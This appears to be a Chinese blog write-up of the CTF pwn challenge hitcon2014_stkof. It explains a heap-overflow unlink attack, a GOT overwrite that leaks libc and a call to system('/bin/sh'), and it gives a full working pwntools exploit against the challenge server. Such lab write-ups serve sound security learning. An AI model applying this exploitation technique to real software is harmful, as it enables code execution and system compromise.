buuctf pwn hitcon2014_stkof 初识unlink

最近开始学堆,看了wiki和一些大佬的文章搞懂了这个有关unlink的题目:hitcon2014_stkof

首先拖进ida,看看几个主要的函数:

在这里插入图片描述

函数1,创建堆,同时可以看到,堆的地址被存储在了s处,点进去看看

在这里插入图片描述

发现是bss段,像这样的指针,就是这类题目的一个特征
在这里插入图片描述
函数2,编辑堆内容,长度可以自己设置,有堆溢出漏洞
在这里插入图片描述
函数3,free堆

函数4用处不大

先把三个函数写好:

def alloc(size):
    sh.sendline('1')
    sh.sendline(str(size))
    sh.recvuntil('OK\n')

def edit(idx, size, content):
    sh.sendline('2')
    sh.sendline(str(idx))
    sh.sendline(str(size))
    sh.send(content)
    sh.recvuntil('OK\n')

def delete(idx):
    sh.sendline('3')
	sh.sendline(str(idx))

然后创建三个堆

alloc(0x100)
alloc(0x20)
alloc(0x80)

注意第三个堆的大小,小于0x80会归到fastbin里面去

这一步之后,我们来看看bss段和堆的布局:

扫描二维码关注公众号,回复: 11835597 查看本文章

bss段:
在这里插入图片描述
然后是第二个chunk和第三个chunk的情况:
在这里插入图片描述
不难看出,0x602148,0x602150,0x602158处存放的分别是chunk1,chunk2,chunk3的地址

因为我们要在chunk2处伪造fake chunk,然后free chunk3,因此我们就把存放chunk2地址的地方,即0x602150设为ptr,然后进行fake chunk的构造以及溢出数据的写入

ptr=0x602150
payload=p64(0)+p64(0x21)+p64(ptr-0x18)+p64(ptr-0x10)
payload+=p64(0x20)+p64(0x90)
edit(2,len(payload),payload)

这步进行之后,chunk2和chunk3的情况是这样的:
在这里插入图片描述

注意chunk3头部的0x20和0x90,把chunk3的F位置0,表示前一个chunk为空闲状态,同时prev_size为前面fake chunk的大小

然后free chunk3

delete(3)

这里是最关键的一步,发生了很多事

当我们free chunk3时,系统判断前一个chunk是否处于空闲状态,我们上面已经通过堆溢出布置好了chunk3的F位和prev_size,因此系统认为前一个chunk处于空闲状态,并通过chunk3的位置和prev_size定位到前一个chunk,即我们伪造的fake chunk。然后就是合并这两个chunk,这时候要再进行判断,这里判断的条件就是:

FD->bk=fake chunk && BK->fd=fake chunk

其中,
FD=fake chunk->fd
BK=fake chunk->bk


FD=0x602138
BK=0x602140

所以
FD->bk=FD+0x18
BK->fd=BK+0x10

这两者的结果都是0x602150处存储的地址,即0xe05940,即为fake chunk的地址,因此我们便绕过了检测

接下来,

FD->bk=BK

BK->fd=FD

即先把0x602150处存储的数据修改为0x602140,然后再改为0x602138,所以bss段处变成了这样:
在这里插入图片描述
0x602150处本应该存储着chunk2的地址,但现在已经被我们改掉了,我们就可以利用这一点,向chunk2写入数据,继续进行改写

elf=ELF('./stkof')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
free=elf.got['free']
payload=p64(0)+p64(0)+p64(free)+p64(ptr-0x18)+p64(puts_got)
edit(2,len(payload),payload)

由于chunk2指针已被我们修改,这一步之后,实际上改变的是bss段的数据而非chunk2的数据,bss段情况如下:
在这里插入图片描述

这样一来,chunk1和chunk3指针也被我们分别改成了free函数和puts函数的got地址,这样一来,向chunk1写入数据时,其实就是修改free函数的got地址

edit(1,8,p64(puts_plt))
delete(3)

这一步过后,free函数的got地址被我们改成了puts函数的plt地址,free chunk3其实就是执行puts函数,输出puts的got地址

libc=ELF('./libc.so.6')
base = u64(sh.recv(6).ljust(8,'\x00'))-libc.symbols['puts']
sh.recvuntil('OK')
system_addr=base+libc.symbols['system']

输出之后计算出基地址和system函数地址

payload=p64(0)+p64(0)+p64(free)+p64(ptr-0x18)+p64(ptr+0x10)+"/bin/sh"
edit(2,len(payload),payload)
edit(1,8,p64(system_addr))
delete(3)

最后一步与上面同理,把free函数got地址改成system函数的地址,向bss段写入"/bin/sh",然后执行system函数来get shell

完整exp:

from pwn import *
sh=remote("node3.buuoj.cn",27974)
#sh=process("./stkof")
context.log_level='debug'
elf=ELF('./stkof')
libc=ELF('./libc.so.6')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
free=elf.got['free']
ptr=0x602150
def alloc(size):
    sh.sendline('1')
    sh.sendline(str(size))
    sh.recvuntil('OK\n')

def edit(idx, size, content):
    sh.sendline('2')
    sh.sendline(str(idx))
    sh.sendline(str(size))
    sh.send(content)
    sh.recvuntil('OK\n')

def delete(idx):
    sh.sendline('3')
    sh.sendline(str(idx))
    

alloc(0x100)
alloc(0x20)
alloc(0x80)

payload=p64(0)+p64(0x21)+p64(ptr-0x18)+p64(ptr-0x10)
payload+=p64(0x20)+p64(0x90)
edit(2,len(payload),payload)

delete(3)
sh.recvuntil('OK')

payload=p64(0)+p64(0)+p64(free)+p64(ptr-0x18)+p64(puts_got)
edit(2,len(payload),payload)
edit(1,8,p64(puts_plt))
delete(3)


base = u64(sh.recv(6).ljust(8,'\x00'))-libc.symbols['puts']
sh.recvuntil('OK')
system_addr=base+libc.symbols['system']


payload=p64(0)+p64(0)+p64(free)+p64(ptr-0x18)+p64(ptr+0x10)+"/bin/sh"
edit(2,len(payload),payload)
edit(1,8,p64(system_addr))
delete(3)
sh.interactive()

我这份代码参考的是这篇文章:https://thinkycx.me/2018-11-30-HITCON2014-stkof.html

wiki上实现起来略有不同,但也很好理解

猜你喜欢

转载自blog.csdn.net/weixin_45677731/article/details/107747124